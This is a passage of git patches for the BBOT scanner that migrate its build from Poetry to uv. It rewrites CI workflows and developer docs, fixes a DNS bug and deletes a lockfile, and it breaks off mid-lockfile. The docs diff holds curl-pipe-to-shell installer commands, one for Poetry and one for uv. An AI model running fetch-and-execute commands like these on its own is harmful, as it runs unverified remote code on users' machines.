] -markers = {main = "python_version == \"3.9\""} [package.extras] check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\""] cover = ["pytest-cov"] doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] enabler = ["pytest-enabler (>=2.2)"] -test = ["big-O", "importlib-resources ; python_version < \"3.9\"", "jaraco.functools", "jaraco.itertools", "jaraco.test", "more-itertools", "pytest (>=6,!=8.1.*)", "pytest-ignore-flaky"] +test = ["big-O", "jaraco.functools", "jaraco.itertools", "jaraco.test", "more_itertools", "pytest (>=6,!=8.1.*)", "pytest-ignore-flaky"] type = ["pytest-mypy"] [metadata] lock-version = "2.1" -python-versions = "^3.9" -content-hash = "06dbed85c4fa5b9fc25e490ae2c28d6336905a219b56276c3abfeeba98a3eb17" +python-versions = "^3.10" +content-hash = "274f009345658d8dd20f0a7bc94c7945c260abcb950053cb9ce890a8c4f665a6" diff --git a/pyproject.toml b/pyproject.toml index cb25f64513..c55845dd29 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -25,7 +25,7 @@ classifiers = [ bbot = 'bbot.cli:main' [tool.poetry.dependencies] -python = "^3.9" +python = "^3.10" omegaconf = "^2.3.0" psutil = ">=5.9.4,<8.0.0" wordninja = "^2.0.0" @@ -83,7 +83,8 @@ mkdocs-extra-sass-plugin = "^0.1.0" mkdocs-material = "^9.2.5" mkdocs-material-extensions = "^1.1.1" mkdocstrings = ">=0.22,<0.31" -mkdocstrings-python = "^1.6.0" +mkdocstrings-python = "^2.0.0" +griffe = "^1" livereload = "^2.6.3" mike = "^2.1.3" From 1aad9e51efc81d885b430509431c3ca1445f0362 Mon Sep 17 00:00:00 2001 From: TheTechromancer <thetechromancer@protonmail.com> Date: Tue, 17 Feb 2026 12:18:30 -0500 Subject: [PATCH 222/912] fix affiliate bug --- bbot/modules/internal/dnsresolve.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/bbot/modules/internal/dnsresolve.py b/bbot/modules/internal/dnsresolve.py index 63644ac5cc..0176b41784 100644 --- a/bbot/modules/internal/dnsresolve.py +++ b/bbot/modules/internal/dnsresolve.py @@ -104,6 +104,8 @@ async def handle_event(self, event, **kwargs): if "seed" not in main_host_event.tags: main_host_event.add_tag("unresolved") main_host_event.type = "DNS_NAME_UNRESOLVED" + # avoid emitting DNS_NAME_UNRESOLVED affiliates + main_host_event.always_emit_tags = [] # main_host_event.add_tag(f"resolve-distance-{main_host_event.dns_resolve_distance}") From 4d73f9dcd32eab6ffb56cd296c70337be76333f6 Mon Sep 17 00:00:00 2001 From: TheTechromancer <thetechromancer@protonmail.com> Date: Thu, 12 Feb 2026 15:14:43 -0500 Subject: [PATCH 223/912] migrate to uv --- .github/workflows/benchmark.yml | 43 +- .github/workflows/distro_tests.yml | 10 +- .github/workflows/docs_updater.yml | 8 +- .github/workflows/tests.yml | 33 +- bbot/__init__.py | 7 +- bbot/scripts/benchmark_report.py | 2 +- docs/dev/dev_environment.md | 16 +- docs/dev/index.md | 6 +- docs/dev/tests.md | 12 +- poetry.lock | 3832 ---------------------------- pyproject.toml | 174 +- uv.lock | 3067 ++++++++++++++++++++++ 12 files changed, 3224 insertions(+), 3986 deletions(-) delete mode 100644 poetry.lock create mode 100644 uv.lock diff --git a/.github/workflows/benchmark.yml b/.github/workflows/benchmark.yml index 5b486a8bb5..e283869d3a 100644 --- a/.github/workflows/benchmark.yml +++ b/.github/workflows/benchmark.yml @@ -18,7 +18,7 @@ permissions: jobs: benchmark: runs-on: ubuntu-latest - + steps: - uses: actions/checkout@v6 with: @@ -29,10 +29,11 @@ jobs: with: python-version: "3.11" + - name: Install uv + uses: astral-sh/setup-uv@v7 + - name: Install dependencies - run: | - pip install poetry - poetry install --with dev + run: uv sync --group dev - name: Install system dependencies run: | @@ -42,7 +43,7 @@ jobs: # Generate benchmark comparison report using our branch-based script - name: Generate benchmark comparison report run: | - poetry run python bbot/scripts/benchmark_report.py \ + uv run python bbot/scripts/benchmark_report.py \ --base ${{ github.base_ref }} \ --current ${{ github.head_ref }} \ --output benchmark_report.md \ @@ -66,10 +67,10 @@ jobs: with: script: | const fs = require('fs'); - + try { const report = fs.readFileSync('benchmark_report.md', 'utf8'); - + // Find existing benchmark comment (with pagination) const comments = await github.rest.issues.listComments({ owner: context.repo.owner, @@ -77,29 +78,29 @@ jobs: issue_number: context.issue.number, per_page: 100, // Get more comments per page }); - + // Debug: log all comments to see what we're working with console.log(`Found ${comments.data.length} comments on this PR`); comments.data.forEach((comment, index) => { console.log(`Comment ${index}: user=${comment.user.login}, body preview="${comment.body.substring(0, 100)}..."`); }); - - const existingComments = comments.data.filter(comment => + + const existingComments = comments.data.filter(comment => comment.body.toLowerCase().includes('performance benchmark') && comment.user.login === 'github-actions[bot]' ); - + console.log(`Found ${existingComments.length} existing benchmark comments`); - + if (existingComments.length > 0) { // Sort comments by creation date to find the most recent - const sortedComments = existingComments.sort((a, b) => + const sortedComments = existingComments.sort((a, b) => new Date(b.created_at) - new Date(a.created_at) ); - + const mostRecentComment = sortedComments[0]; console.log(`Updating most recent benchmark comment: ${mostRecentComment.id} (created: ${mostRecentComment.created_at})`); - + await github.rest.issues.updateComment({ owner: context.repo.owner, repo: context.repo.repo, @@ -107,14 +108,14 @@ jobs: body: report }); console.log('Updated existing benchmark comment'); - + // Delete any older duplicate comments if (existingComments.length > 1) { console.log(`Deleting ${existingComments.length - 1} older duplicate comments`); for (let i = 1; i < sortedComments.length; i++) { const commentToDelete = sortedComments[i]; console.log(`Attempting to delete comment ${commentToDelete.id} (created: ${commentToDelete.created_at})`); - + try { await github.rest.issues.deleteComment({ owner: context.repo.owner, @@ -140,7 +141,7 @@ jobs: } } catch (error) { console.error('Failed to post benchmark results:', error); - + // Post a fallback comment const fallbackMessage = [ '## Performance Benchmark Report', @@ -149,18 +150,18 @@ jobs: '> ', '> The benchmark comparison failed to run. This might be because:', '> - Benchmark tests don\'t exist on the base branch yet', - '> - Dependencies are missing', + '> - Dependencies are missing', '> - Test execution failed', '> ', '> Please check the [workflow logs](https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }}) for details.', '> ', '> 📁 Benchmark artifacts may be available for download from the workflow run.' ].join('\\n'); - + await github.rest.issues.createComment({ owner: context.repo.owner, repo: context.repo.repo, issue_number: context.issue.number, body: fallbackMessage }); - } \ No newline at end of file + } diff --git a/.github/workflows/distro_tests.yml b/.github/workflows/distro_tests.yml index 9e0059cf0e..0f41bf6d63 100644 --- a/.github/workflows/distro_tests.yml +++ b/.github/workflows/distro_tests.yml @@ -17,7 +17,7 @@ jobs: os: ["ubuntu:22.04", "ubuntu:24.04", "debian", "archlinux", "fedora", "kalilinux/kali-rolling", "parrotsec/security"] steps: - uses: actions/checkout@v6 - - name: Install Python and Poetry + - name: Install Python and uv run: | if [ -f /etc/os-release ]; then . /etc/os-release @@ -51,7 +51,7 @@ jobs: pyenv rehash python3.11 -m pip install --user pipx python3.11 -m pipx ensurepath - pipx install poetry + pipx install uv " - name: Set OS Environment Variable run: echo "OS_NAME=${{ matrix.os }}" | sed 's|[:/]|_|g' >> $GITHUB_ENV @@ -61,9 +61,9 @@ jobs: export PATH="$HOME/.pyenv/bin:$PATH" export PATH="$HOME/.pyenv/shims:$PATH" export BBOT_DISTRO_TESTS=true - poetry env use python3.11 - poetry install - poetry run pytest --reruns 2 --exitfirst -o timeout_func_only=true --timeout 1200 --disable-warnings --log-cli-level=INFO . + uv python pin 3.11 + uv sync --group dev + uv run pytest --reruns 2 --exitfirst -o timeout_func_only=true --timeout 1200 --disable-warnings --log-cli-level=INFO . - name: Upload Debug Logs if: always() uses: actions/upload-artifact@v6 diff --git a/.github/workflows/docs_updater.yml b/.github/workflows/docs_updater.yml index 94d5222aca..e645461660 100644 --- a/.github/workflows/docs_updater.yml +++ b/.github/workflows/docs_updater.yml @@ -17,13 +17,13 @@ jobs: uses: actions/setup-python@v6 with: python-version: "3.x" + - name: Install uv + uses: astral-sh/setup-uv@v7 - name: Install dependencies - run: | - pip install poetry - poetry install + run: uv sync --group dev - name: Generate docs run: | - poetry run bbot/scripts/docs.py + uv run bbot/scripts/docs.py - name: Create or Update Pull Request uses: peter-evans/create-pull-request@v8 with: diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 40ccbb1ea1..2256ced4c3 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -26,17 +26,17 @@ jobs: python-version: ${{ matrix.python-version }} - name: Set Python Version Environment Variable run: echo "PYTHON_VERSION=${{ matrix.python-version }}" | sed 's|[:/]|_|g' >> $GITHUB_ENV + - name: Install uv + uses: astral-sh/setup-uv@v7 - name: Install dependencies - run: | - pip install poetry - poetry install + run: uv sync --group dev - name: Lint run: | - poetry run ruff check - poetry run ruff format --check + uv run ruff check + uv run ruff format --check - name: Run tests run: | - poetry run pytest -vv --reruns 2 -o timeout_func_only=true --timeout 1200 --disable-warnings --log-cli-level=INFO --cov-config=bbot/test/coverage.cfg --cov-report xml:cov.xml --cov=bbot . + uv run pytest -vv --reruns 2 -o timeout_func_only=true --timeout 1200 --disable-warnings --log-cli-level=INFO --cov-config=bbot/test/coverage.cfg --cov-report xml:cov.xml --cov=bbot . - name: Upload Debug Logs if: always() uses: actions/upload-artifact@v6 @@ -69,14 +69,11 @@ jobs: uses: actions/setup-python@v6 with: python-version: "3.x" - - name: Install dependencies - run: | - python -m pip install --upgrade pip - pip install poetry build - poetry self add "poetry-dynamic-versioning[plugin]" + - name: Install uv + uses: astral-sh/setup-uv@v7 - name: Build Pypi package if: github.ref == 'refs/heads/stable' || github.ref == 'refs/heads/dev' - run: python -m build + run: uv build - name: Publish Pypi package if: github.ref == 'refs/heads/stable' || github.ref == 'refs/heads/dev' uses: pypa/gh-action-pypi-publish@release/v1.13 @@ -85,7 +82,7 @@ jobs: - name: Get BBOT version id: version run: | - FULL_VERSION=$(poetry version | cut -d' ' -f2) + FULL_VERSION=$(uv run python -c "from bbot import __version__; print(__version__)") echo "BBOT_VERSION=$FULL_VERSION" >> $GITHUB_OUTPUT # Extract major.minor (e.g., 2.7 from 2.7.1) MAJOR_MINOR=$(echo "$FULL_VERSION" | cut -d'.' -f1-2) @@ -194,10 +191,10 @@ jobs: path: .cache restore-keys: | mkdocs-material- + - name: Install uv + uses: astral-sh/setup-uv@v7 - name: Install dependencies - run: | - pip install poetry - poetry install --only=docs + run: uv sync --only-group docs - name: Configure Git run: | git config user.name github-actions @@ -211,11 +208,11 @@ jobs: - name: Generate docs (stable branch) if: github.ref == 'refs/heads/stable' run: | - poetry run mike deploy Stable + uv run mike deploy Stable - name: Generate docs (dev branch) if: github.ref == 'refs/heads/dev' run: | - poetry run mike deploy Dev + uv run mike deploy Dev - name: Publish docs run: | git switch gh-pages diff --git a/bbot/__init__.py b/bbot/__init__.py index 8e016095f4..66aca4bdfe 100644 --- a/bbot/__init__.py +++ b/bbot/__init__.py @@ -1,2 +1,5 @@ -# version placeholder (replaced by poetry-dynamic-versioning) -__version__ = "v0.0.0" +# version is dynamically set by hatch-vcs from git tags +try: + from bbot._version import __version__ +except ImportError: + __version__ = "0.0.0" diff --git a/bbot/scripts/benchmark_report.py b/bbot/scripts/benchmark_report.py index 9ccf30a198..5269a019aa 100644 --- a/bbot/scripts/benchmark_report.py +++ b/bbot/scripts/benchmark_report.py @@ -51,7 +51,7 @@ def run_benchmarks(output_file: Path, repo_path: Path = None) -> bool: try: cmd = [ - "poetry", + "uv", "run", "python", "-m", diff --git a/docs/dev/dev_environment.md b/docs/dev/dev_environment.md index b73f660574..94e72abd73 100644 --- a/docs/dev/dev_environment.md +++ b/docs/dev/dev_environment.md @@ -2,28 +2,28 @@ The following will show you how to set up a fully functioning python environment for devving on BBOT. -## Installation (Poetry) +## Installation (uv) -[Poetry](https://python-poetry.org/) is the recommended method of installation if you want to dev on BBOT. To set up a dev environment with Poetry, you can follow these steps: +[uv](https://docs.astral.sh/uv/) is the recommended method of installation if you want to dev on BBOT. To set up a dev environment with uv, you can follow these steps: - Fork [BBOT](https://github.com/blacklanternsecurity/bbot) on GitHub -- Clone your fork and set up a development environment with Poetry: +- Clone your fork and set up a development environment with uv: ```bash # clone your forked repo and cd into it git clone git@github.com/<username>/bbot.git cd bbot -# install poetry -curl -sSL https://install.python-poetry.org | python3 - +# install uv +curl -LsSf https://astral.sh/uv/install.sh | sh # install pip dependencies -poetry install +uv sync --group dev # install pre-commit hooks, etc. -poetry run pre-commit install +uv run pre-commit install # enter virtual environment -poetry shell +source .venv/bin/activate bbot --help ``` diff --git a/docs/dev/index.md b/docs/dev/index.md index dbf48402e8..7ac004760a 100644 --- a/docs/dev/index.md +++ b/docs/dev/index.md @@ -6,14 +6,14 @@ Documented in this section are commonly-used classes and functions within BBOT, ## Adding BBOT to Your Python Project -If you are using Poetry, you can add BBOT to your python environment like this: +If you are using uv, you can add BBOT to your python environment like this: ```bash # stable -poetry add bbot +uv add bbot # bleeding-edge (dev branch) -poetry add bbot --allow-prereleases +uv add bbot --prerelease=allow ``` ## Running a BBOT Scan from Python diff --git a/docs/dev/tests.md b/docs/dev/tests.md index 4381981812..b1407193cb 100644 --- a/docs/dev/tests.md +++ b/docs/dev/tests.md @@ -10,13 +10,13 @@ We have GitHub Actions that automatically run tests whenever you open a Pull Req ```bash # lint with ruff -poetry run ruff check +uv run ruff check # format code with ruff -poetry run ruff format +uv run ruff format # run all tests with pytest (takes roughly 30 minutes) -poetry run pytest +uv run pytest ``` ### Running specific tests @@ -25,18 +25,18 @@ If you only want to run a single test, you can select it with `-k`: ```bash # run only the sslcert test -poetry run pytest -k test_module_sslcert +uv run pytest -k test_module_sslcert ``` You can also filter like this: ```bash # run all the module tests except for sslcert -poetry run pytest -k "test_module_ and not test_module_sslcert" +uv run pytest -k "test_module_ and not test_module_sslcert" ``` If you want to see the output of your module, you can enable `--log-cli-level`: ```bash -poetry run pytest --log-cli-level=DEBUG +uv run pytest --log-cli-level=DEBUG ``` ## Example: Writing a Module Test diff --git a/poetry.lock b/poetry.lock deleted file mode 100644 index 4659f6a7e8..0000000000 --- a/poetry.lock +++ /dev/null @@ -1,3832 +0,0 @@ -# This file is automatically @generated by Poetry 2.3.0 and should not be changed by hand. - -[[package]] -name = "annotated-doc" -version = "0.0.4" -description = "Document parameters, class attributes, return types, and variables inline, with Annotated." -optional = false -python-versions = ">=3.8" -groups = ["dev"] -files = [ - {file = "annotated_doc-0.0.4-py3-none-any.whl", hash = "sha256:571ac1dc6991c450b25a9c2d84a3705e2ae7a53467b5d111c24fa8baabbed320"}, - {file = "annotated_doc-0.0.4.tar.gz", hash = "sha256:fbcda96e87e9c92ad167c2e53839e57503ecfda18804ea28102353485033faa4"}, -] - -[[package]] -name = "annotated-types" -version = "0.7.0" -description = "Reusable constraint types to use with typing.Annotated" -optional = false -python-versions = ">=3.8" -groups = ["main", "dev"] -files = [ - {file = "annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53"}, - {file = "annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89"}, -] - -[[package]] -name = "ansible-core" -version = "2.17.14" -description = "Radically simple IT automation" -optional = false -python-versions = ">=3.10" -groups = ["main"] -files = [ - {file = "ansible_core-2.17.14-py3-none-any.whl", hash = "sha256:34a49582a57c2f2af17ede2cefd3b3602a2d55d22089f3928570d52030cafa35"}, - {file = "ansible_core-2.17.14.tar.gz", hash = "sha256:7c17fee39f8c29d70e3282a7e9c10bd70d5cd4fd13ddffc5dcaa52adbd142ff8"}, -] - -[package.dependencies] -cryptography = "*" -jinja2 = ">=3.0.0" -packaging = "*" -PyYAML = ">=5.1" -resolvelib = ">=0.5.3,<1.1.0" - -[[package]] -name = "ansible-runner" -version = "2.4.2" -description = "\"Consistent Ansible Python API and CLI with container and process isolation runtime capabilities\"" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "ansible_runner-2.4.2-py3-none-any.whl", hash = "sha256:0bde6cb39224770ff49ccdc6027288f6a98f4ed2ea0c64688b31217033221893"}, - {file = "ansible_runner-2.4.2.tar.gz", hash = "sha256:331d4da8d784e5a76aa9356981c0255f4bb1ba640736efe84b0bd7c73a4ca420"}, -] - -[package.dependencies] -packaging = "*" -pexpect = ">=4.5" -python-daemon = "*" -pyyaml = "*" - -[[package]] -name = "antlr4-python3-runtime" -version = "4.9.3" -description = "ANTLR 4.9.3 runtime for Python 3.7" -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "antlr4-python3-runtime-4.9.3.tar.gz", hash = "sha256:f224469b4168294902bb1efa80a8bf7855f24c99aef99cbefc1bcd3cce77881b"}, -] - -[[package]] -name = "anyio" -version = "4.12.1" -description = "High-level concurrency and networking framework on top of asyncio or Trio" -optional = false -python-versions = ">=3.9" -groups = ["main", "dev"] -files = [ - {file = "anyio-4.12.1-py3-none-any.whl", hash = "sha256:d405828884fc140aa80a3c667b8beed277f1dfedec42ba031bd6ac3db606ab6c"}, - {file = "anyio-4.12.1.tar.gz", hash = "sha256:41cfcc3a4c85d3f05c932da7c26d0201ac36f72abd4435ba90d0464a3ffed703"}, -] - -[package.dependencies] -exceptiongroup = {version = ">=1.0.2", markers = "python_version < \"3.11\""} -idna = ">=2.8" -typing_extensions = {version = ">=4.5", markers = "python_version < \"3.13\""} - -[package.extras] -trio = ["trio (>=0.31.0) ; python_version < \"3.10\"", "trio (>=0.32.0) ; python_version >= \"3.10\""] - -[[package]] -name = "babel" -version = "2.18.0" -description = "Internationalization utilities" -optional = false -python-versions = ">=3.8" -groups = ["docs"] -files = [ - {file = "babel-2.18.0-py3-none-any.whl", hash = "sha256:e2b422b277c2b9a9630c1d7903c2a00d0830c409c59ac8cae9081c92f1aeba35"}, - {file = "babel-2.18.0.tar.gz", hash = "sha256:b80b99a14bd085fcacfa15c9165f651fbb3406e66cc603abf11c5750937c992d"}, -] - -[package.extras] -dev = ["backports.zoneinfo ; python_version < \"3.9\"", "freezegun (>=1.0,<2.0)", "jinja2 (>=3.0)", "pytest (>=6.0)", "pytest-cov", "pytz", "setuptools", "tzdata ; sys_platform == \"win32\""] - -[[package]] -name = "backports-asyncio-runner" -version = "1.2.0" -description = "Backport of asyncio.Runner, a context manager that controls event loop life cycle." -optional = false -python-versions = "<3.11,>=3.8" -groups = ["dev"] -markers = "python_version == \"3.10\"" -files = [ - {file = "backports_asyncio_runner-1.2.0-py3-none-any.whl", hash = "sha256:0da0a936a8aeb554eccb426dc55af3ba63bcdc69fa1a600b5bb305413a4477b5"}, - {file = "backports_asyncio_runner-1.2.0.tar.gz", hash = "sha256:a5aa7b2b7d8f8bfcaa2b57313f70792df84e32a2a746f585213373f900b42162"}, -] - -[[package]] -name = "backrefs" -version = "6.1" -description = "A wrapper around re and regex that adds additional back references." -optional = false -python-versions = ">=3.9" -groups = ["docs"] -files = [ - {file = "backrefs-6.1-py310-none-any.whl", hash = "sha256:2a2ccb96302337ce61ee4717ceacfbf26ba4efb1d55af86564b8bbaeda39cac1"}, - {file = "backrefs-6.1-py311-none-any.whl", hash = "sha256:e82bba3875ee4430f4de4b6db19429a27275d95a5f3773c57e9e18abc23fd2b7"}, - {file = "backrefs-6.1-py312-none-any.whl", hash = "sha256:c64698c8d2269343d88947c0735cb4b78745bd3ba590e10313fbf3f78c34da5a"}, - {file = "backrefs-6.1-py313-none-any.whl", hash = "sha256:4c9d3dc1e2e558965202c012304f33d4e0e477e1c103663fd2c3cc9bb18b0d05"}, - {file = "backrefs-6.1-py314-none-any.whl", hash = "sha256:13eafbc9ccd5222e9c1f0bec563e6d2a6d21514962f11e7fc79872fd56cbc853"}, - {file = "backrefs-6.1-py39-none-any.whl", hash = "sha256:a9e99b8a4867852cad177a6430e31b0f6e495d65f8c6c134b68c14c3c95bf4b0"}, - {file = "backrefs-6.1.tar.gz", hash = "sha256:3bba1749aafe1db9b915f00e0dd166cba613b6f788ffd63060ac3485dc9be231"}, -] - -[package.extras] -extras = ["regex"] - -[[package]] -name = "beautifulsoup4" -version = "4.14.3" -description = "Screen-scraping library" -optional = false -python-versions = ">=3.7.0" -groups = ["main", "docs"] -files = [ - {file = "beautifulsoup4-4.14.3-py3-none-any.whl", hash = "sha256:0918bfe44902e6ad8d57732ba310582e98da931428d231a5ecb9e7c703a735bb"}, - {file = "beautifulsoup4-4.14.3.tar.gz", hash = "sha256:6292b1c5186d356bba669ef9f7f051757099565ad9ada5dd630bd9de5fa7fb86"}, -] - -[package.dependencies] -soupsieve = ">=1.6.1" -typing-extensions = ">=4.0.0" - -[package.extras] -cchardet = ["cchardet"] -chardet = ["chardet"] -charset-normalizer = ["charset-normalizer"] -html5lib = ["html5lib"] -lxml = ["lxml"] - -[[package]] -name = "cachetools" -version = "6.2.6" -description = "Extensible memoizing collections and decorators" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "cachetools-6.2.6-py3-none-any.whl", hash = "sha256:8c9717235b3c651603fff0076db52d6acbfd1b338b8ed50256092f7ce9c85bda"}, - {file = "cachetools-6.2.6.tar.gz", hash = "sha256:16c33e1f276b9a9c0b49ab5782d901e3ad3de0dd6da9bf9bcd29ac5672f2f9e6"}, -] - -[[package]] -name = "certifi" -version = "2026.1.4" -description = "Python package for providing Mozilla's CA Bundle." -optional = false -python-versions = ">=3.7" -groups = ["main", "dev", "docs"] -files = [ - {file = "certifi-2026.1.4-py3-none-any.whl", hash = "sha256:9943707519e4add1115f44c2bc244f782c0249876bf51b6599fee1ffbedd685c"}, - {file = "certifi-2026.1.4.tar.gz", hash = "sha256:ac726dd470482006e014ad384921ed6438c457018f4b3d204aea4281258b2120"}, -] - -[[package]] -name = "cffi" -version = "2.0.0" -description = "Foreign Function Interface for Python calling C code." -optional = false -python-versions = ">=3.9" -groups = ["main"] -markers = "platform_python_implementation != \"PyPy\" or implementation_name == \"pypy\"" -files = [ - {file = "cffi-2.0.0-cp310-cp310-macosx_10_13_x86_64.whl", hash = "sha256:0cf2d91ecc3fcc0625c2c530fe004f82c110405f101548512cce44322fa8ac44"}, - {file = "cffi-2.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f73b96c41e3b2adedc34a7356e64c8eb96e03a3782b535e043a986276ce12a49"}, - {file = "cffi-2.0.0-cp310-cp310-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:53f77cbe57044e88bbd5ed26ac1d0514d2acf0591dd6bb02a3ae37f76811b80c"}, - {file = "cffi-2.0.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3e837e369566884707ddaf85fc1744b47575005c0a229de3327f8f9a20f4efeb"}, - {file = "cffi-2.0.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:5eda85d6d1879e692d546a078b44251cdd08dd1cfb98dfb77b670c97cee49ea0"}, - {file = "cffi-2.0.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:9332088d75dc3241c702d852d4671613136d90fa6881da7d770a483fd05248b4"}, - {file = "cffi-2.0.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fc7de24befaeae77ba923797c7c87834c73648a05a4bde34b3b7e5588973a453"}, - {file = "cffi-2.0.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:cf364028c016c03078a23b503f02058f1814320a56ad535686f90565636a9495"}, - {file = "cffi-2.0.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:e11e82b744887154b182fd3e7e8512418446501191994dbf9c9fc1f32cc8efd5"}, - {file = "cffi-2.0.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:8ea985900c5c95ce9db1745f7933eeef5d314f0565b27625d9a10ec9881e1bfb"}, - {file = "cffi-2.0.0-cp310-cp310-win32.whl", hash = "sha256:1f72fb8906754ac8a2cc3f9f5aaa298070652a0ffae577e0ea9bd480dc3c931a"}, - {file = "cffi-2.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:b18a3ed7d5b3bd8d9ef7a8cb226502c6bf8308df1525e1cc676c3680e7176739"}, - {file = "cffi-2.0.0-cp311-cp311-macosx_10_13_x86_64.whl", hash = "sha256:b4c854ef3adc177950a8dfc81a86f5115d2abd545751a304c5bcf2c2c7283cfe"}, - {file = "cffi-2.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2de9a304e27f7596cd03d16f1b7c72219bd944e99cc52b84d0145aefb07cbd3c"}, - {file = "cffi-2.0.0-cp311-cp311-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:baf5215e0ab74c16e2dd324e8ec067ef59e41125d3eade2b863d294fd5035c92"}, - {file = "cffi-2.0.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:730cacb21e1bdff3ce90babf007d0a0917cc3e6492f336c2f0134101e0944f93"}, - {file = "cffi-2.0.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:6824f87845e3396029f3820c206e459ccc91760e8fa24422f8b0c3d1731cbec5"}, - {file = "cffi-2.0.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:9de40a7b0323d889cf8d23d1ef214f565ab154443c42737dfe52ff82cf857664"}, - {file = "cffi-2.0.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8941aaadaf67246224cee8c3803777eed332a19d909b47e29c9842ef1e79ac26"}, - {file = "cffi-2.0.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:a05d0c237b3349096d3981b727493e22147f934b20f6f125a3eba8f994bec4a9"}, - {file = "cffi-2.0.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:94698a9c5f91f9d138526b48fe26a199609544591f859c870d477351dc7b2414"}, - {file = "cffi-2.0.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:5fed36fccc0612a53f1d4d9a816b50a36702c28a2aa880cb8a122b3466638743"}, - {file = "cffi-2.0.0-cp311-cp311-win32.whl", hash = "sha256:c649e3a33450ec82378822b3dad03cc228b8f5963c0c12fc3b1e0ab940f768a5"}, - {file = "cffi-2.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:66f011380d0e49ed280c789fbd08ff0d40968ee7b665575489afa95c98196ab5"}, - {file = "cffi-2.0.0-cp311-cp311-win_arm64.whl", hash = "sha256:c6638687455baf640e37344fe26d37c404db8b80d037c3d29f58fe8d1c3b194d"}, - {file = "cffi-2.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:6d02d6655b0e54f54c4ef0b94eb6be0607b70853c45ce98bd278dc7de718be5d"}, - {file = "cffi-2.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8eca2a813c1cb7ad4fb74d368c2ffbbb4789d377ee5bb8df98373c2cc0dee76c"}, - {file = "cffi-2.0.0-cp312-cp312-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:21d1152871b019407d8ac3985f6775c079416c282e431a4da6afe7aefd2bccbe"}, - {file = "cffi-2.0.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:b21e08af67b8a103c71a250401c78d5e0893beff75e28c53c98f4de42f774062"}, - {file = "cffi-2.0.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:1e3a615586f05fc4065a8b22b8152f0c1b00cdbc60596d187c2a74f9e3036e4e"}, - {file = "cffi-2.0.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:81afed14892743bbe14dacb9e36d9e0e504cd204e0b165062c488942b9718037"}, - {file = "cffi-2.0.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:3e17ed538242334bf70832644a32a7aae3d83b57567f9fd60a26257e992b79ba"}, - {file = "cffi-2.0.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3925dd22fa2b7699ed2617149842d2e6adde22b262fcbfada50e3d195e4b3a94"}, - {file = "cffi-2.0.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:2c8f814d84194c9ea681642fd164267891702542f028a15fc97d4674b6206187"}, - {file = "cffi-2.0.0-cp312-cp312-win32.whl", hash = "sha256:da902562c3e9c550df360bfa53c035b2f241fed6d9aef119048073680ace4a18"}, - {file = "cffi-2.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:da68248800ad6320861f129cd9c1bf96ca849a2771a59e0344e88681905916f5"}, - {file = "cffi-2.0.0-cp312-cp312-win_arm64.whl", hash = "sha256:4671d9dd5ec934cb9a73e7ee9676f9362aba54f7f34910956b84d727b0d73fb6"}, - {file = "cffi-2.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:00bdf7acc5f795150faa6957054fbbca2439db2f775ce831222b66f192f03beb"}, - {file = "cffi-2.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:45d5e886156860dc35862657e1494b9bae8dfa63bf56796f2fb56e1679fc0bca"}, - {file = "cffi-2.0.0-cp313-cp313-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = 